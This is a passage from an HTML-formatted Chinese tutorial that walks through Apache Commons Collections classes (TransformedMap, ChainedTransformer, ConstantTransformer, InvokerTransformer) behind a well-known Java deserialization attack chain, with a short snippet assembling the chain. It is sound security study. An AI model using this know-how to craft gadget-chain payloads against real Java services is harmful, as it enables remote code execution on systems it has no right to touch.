inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object key, Object value)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>        key = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.transformKey(key);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>        value = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.transformValue(value);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.getMap().put(key, value);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">protected</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">transformKey</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object object)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.keyTransformer == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>?object:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.keyTransformer.transform(object);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">protected</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">transformValue</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object object)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.valueTransformer == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>?object:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.valueTransformer.transform(object);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看出，put方法首先调用了自己的transformKey方法和transformValue方法，然后调用了map的put方法。而transformKey和transformValue都是调用了我们开始传参进去的Transformer对象的transform方法。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">ChainedTransformer类</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">仔细观察会发现，构造TransformedMap对象的时候，我们传参的Transformer类对象是一个transformerChain对象。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>Transformer transformerChain = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>                ChainedTransformer(transformers);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>        Map innerMap = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>        Map outerMap = TransformedMap.decorate(innerMap, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>                transformerChain);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">首先看一下继承图：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="809" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.3547589616810878" src="https://wechat2rss.xlab.app/img-proxy/?k=8a665a1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkSs5KA3DUhoVoictCbPNTAgia3DAksvXp3Biagf1Qf0YbzAR3zjnLr3vYg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图2</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看出transformerChain类是Transformer的子类，根据构造这个类的代码可以看出，这个类构造参数是一个Transformer数组，看一下实现代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">ChainedTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Transformer[] transformers)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iTransformers = transformers;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">transform</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object object)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">for</span>(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> i = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iTransformers.length; ++i) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span>            object = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iTransformers[i].transform(object);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">8</span>        }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到，构造函数直接将传入的参数保存在iTransformers成员变量中。而transform方法的实现则是循环调用数组中每一个元素的transform方法，并且将前一个调用的结果当做下一个调用的参数传入。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">Transformer 接口</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">接下来继续往上看代码，看到定义了一个Transformer对象数组，对象分别是继承自Transformer的ConstantTransformer子类和InvokerTransformer子类。<br/>查看Transformer的定义，发现是一个接口，并且只有一个方法：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">interface</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Transformer</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">transform</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object var1)</span></span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">然后去这两个类中看一下这个接口是如何实现的：</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">ConstantTransformer 类</span></h4><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">ConstantTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object constantToReturn)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iConstant = constantToReturn;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">transform</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object input)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iConstant;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到，ConstantTransformer这个类的构造函数将参数保存到类成员变量iConstant 中，然后transform接口将iConstant返回。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">InvokerTransformer 类</span></h4><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">InvokerTransformer</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String methodName, Class[] paramTypes, Object[] args)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iMethodName = methodName;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iParamTypes = paramTypes;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iArgs = args;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">transform</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Object input)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span>(input == <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span>        } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span>            <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">try</span> {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span>                Class ex = input.getClass();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span>                Method method = ex.getMethod(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iMethodName, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iParamTypes);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> method.invoke(input, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iArgs);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>            } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (NoSuchMethodException var4) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throw</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> FunctorException(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;InvokerTransformer: The method \&#39;&#34;</span> + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.iMethodName + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#39; on \&#39;&#34;</span> + input.getClass() + <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#39; does not exist&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>            } <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">catch</span> (IllegalAccessException var5) {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 